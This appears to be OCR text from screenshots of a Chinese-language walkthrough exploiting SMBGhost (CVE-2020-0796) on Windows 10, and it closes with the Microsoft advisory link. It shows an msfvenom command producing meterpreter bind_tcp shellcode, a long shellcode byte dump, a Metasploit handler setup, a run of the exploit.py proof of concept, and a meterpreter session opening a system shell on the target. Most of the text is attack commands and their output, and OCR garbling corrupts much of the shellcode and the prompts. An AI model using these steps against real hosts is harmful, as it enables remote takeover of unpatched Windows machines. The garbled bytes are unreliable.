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EARLTRSAERMRGER shellcode, 15 shellcode HRY buf £8F&#29 USER PAYLOAD
£ exploit.py F&E#E 28I USER_PAYLOAD

msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f python

rootakali:~/% @& /SMBGhost_RCE_PoC-master# msfvenom -p windows/x64/meterpret
er/bind_tcp lport=2333 -f python

[-] No platform was selected, choosing Msf ::Module:: Platform::Windows from
the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 496 bytes

Final size of python file: 2424 bytes

b'-

b "\ xFe\xaBA\xB1 \xes \xFO\XFA\XFA\xFF\xeB\xcc\x00\x00\x00"
b "\ x&41%\x51\x41\x50\x52 \x51\x56 \x48\x31\xd2\x65\x48\x8b"
b "\x52\x60\x48\xBb\x52\x18\x4B\xBb\x52\x20\x48\xBb\x72"
b"\x50\x48\x0F\xb7\x4a\xsa\x&d\x31\xco\x48\x31\xc@\xac"
b"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xco\x0d\x41\x01\xc1"
b "\xe2\xed\x52\x&1\x51\x48\xBb\x52\x20\x8b\x 42\ x3c\x48"
b "\x@1\xd@\x66\xB1\x78\x18\x0b\x02\x0F\xB5\x72\x00\x00"
b "\ x@0\xBb\xBO\xBB\x00\x00\x00 \x4B\xB5\xcO\X7&\x67\x4B"
b "\x01\xd0\x50\x8b\x48\x18\x44\xBb\x40\x20\x49\x01\xd0"
b"\xe3\x56\x48\xfFi\xcI\x41\xBb\x34\xBB\x48\x01\xd6\x4d"
b"\x31\xco\x48\x31\xcO\xac\x&41\xc1\xco\x0d\x41\x01\xc1"
b "\ x38\xe@\x75\xF1\x&c\xB3\ x4\ X248\ x BB\ x45\x39\xd1\x75"
b "\ xdB8\x58\x44\xBb\ x40\ x24\ x4 \x01\xd0\x66\x41\xBb\x0c"
b "\ &8\ x44\xBb\ x40\ x1c\ x4\ x01 \xd@\x41\xBb\xD&\xBB\x 48"
b"\x@1\xd@\x41\x58\x41\x58\x5e\x59 \x5a \x41\x58\x41\x59"
b"\x41\x5a\x48\x83 \xec\x20\x41\x52 \x FFi\xe@\x58\x41\x59"
b "\x5a\x48\x8b\x12\xe9\x4b\x FF\XFF\xFfF\x5d\x49\xbe\x77"
b "\ x73N\x32\x5F\ X33\ 32\ x00\x00 \x 41\ x56\x49\xBI\xeb\x4B"
b "\x81\xec\xa@\x01\x00\x00\x49\xB89\xe5\x48\x31\xcO\x50"
b "\ x50\x49\XCc T\ XA \x02\x00\x09 \x1d\x41\x54\x49\xBI\xe4"
b"\x4c\x89\xF1\x41\xba\x4c\x77\x26\x07\xfF\xd5\x4c\x89"
b"\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00"
b "\ xFFi\xd5\x6a\x02\x59 x50\ x50 \x4d\x31\xc9\x4d\x31\xcB"
b "\ x&B8\xFFA\xcO\x48\xB9\xc2\x41 \xba\xea\x0F\xdfF\xed\xff"
b "\ xd5\x4B\xBI\xcT\x6a\x10\x41\x58\xbc\xBI\xe2\x4B\x89"
b"\xFf9\x41\xba\xc2\xdb\x37\x67 \xFFixd5\x48\x31\xd2\x48"
b"\x89\xf9\x41\xba\xb7\xed\x38\xFFi\xfFi\xd5\x4d\x31\xc0"
b "\x48\x31\xd2\x &8\ x89\xFfo\x&41\xba\x7 &4 \xec\x3b\xel\xff"
b "\ xd5\x4B\xBI\xFO\x4B\xBI\xcT\x41\xba\x75\x6e\xb4d\x61"
b " \xFF\xd5\x48\xB81\xca\xb@\x02\x00\x00\x48\xB83 \xec\x10"
b "\ x48\xB89\xe2\x4d\x31\xcI\x6a \x04\x41\x58\x 48\ xBI\xf9"
b"\x41\xba\x02\xd9\xcB8\x5F\xFF\xd5\x48\x83\xc4\x20\x5e"
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b "\xd5N\x48\xBI\xc3\ x4\ xBI\xc T\ x&d\x31\xcI\x 49\ xBI\xfO"

b "\x48\xB89\xda\x&4B\xB\xFI\x41\xba\x02\xd9\xcB\x5F \xff"
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use exploit/mulit/handler

set payload windows/x64/meterpreter/bind_tcp # & KM
set rhost 192.168.0.169 # 2 H iyl L)

set lport 2333 # & Wil

exploit

rootgkali:~# msfconsole
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I love shells —egypt

metasploit v5.8.91-dev

2023 exploits - 1101 auxiliary - 343 post
562 payloads - 45 encoders - 1@ nops

7 evasion
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Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting 1
t with setg RHOSTS x.x.x.X

msf5 > use exploit/multi/handler

msf5 exploit( ) > set payload windows/

Display all 216 possibilities? (y or n)

msf5 exploit( ) » set payload windows/x64/meterpreter/bind_tcp
payload = windows/x64/meterpreter/bind_tcp




msf5 exploit( ) » set RHOST 192.168.8.169
RHOST = 192.168.08.169

msf5 exploit( ) » set LPORT 2333

LPORT = 2333

msf5 exploit( ) » run

% SeraphZ 2 N4

Started bind TCP handler against 192.168.8.169:2333
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python3 exploit.py -ip 192.168.0.169

rootdkali:~/% & /SMBGhost_RCE_PoC-master# python3 exploit.py -ip 192.168.0.
169

[+] found low stub at phys addr 12008!

PML4 at laa@@e

base of HAL heap at fffff7dfcooeeenn

found PML4 self-ref entry 14f

found HalpInterruptController at fffff7dfceeelsae

found HalpApicRequestInterrupt at fffff8066435ebb@

built shellcode!

KUSER_SHARED_DATA PTE at ffffa7fbcldobooo

KUSER_SHARED_DATA PTE NX bit cleared!

Wrote shellcode at fffff78000008958!

Press a key to execute shellcode!

overwrote HalpInterruptController pointer, should havg execution shortl
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rootakali:~/% @& /SMBGhost_RCE_PoC-master# |
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Started bind TCP handler against 192.168.8.169:2333
Sending stage (201283 bytes) to 192.168.0.169
Meterpreter session 1 opened (0.0.0.0:0 — 192.168.0.169:2333) at 2020-

B6-05 17:41:55 +0800

meterpreter > shell
Process 6400 created.

Channel 1 created.
Microsoft Windows [€ 10.0.18362.30]

C:\Windows\system32>ipconfig
ipconfig

Windows IP €64

. . . : fe80::596b:e2ad:3900:8eb2%4
: 192.168.0.169
: 255.255.255.0

: 192.168.0.1
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C:\Windows\system32>]]
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https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796



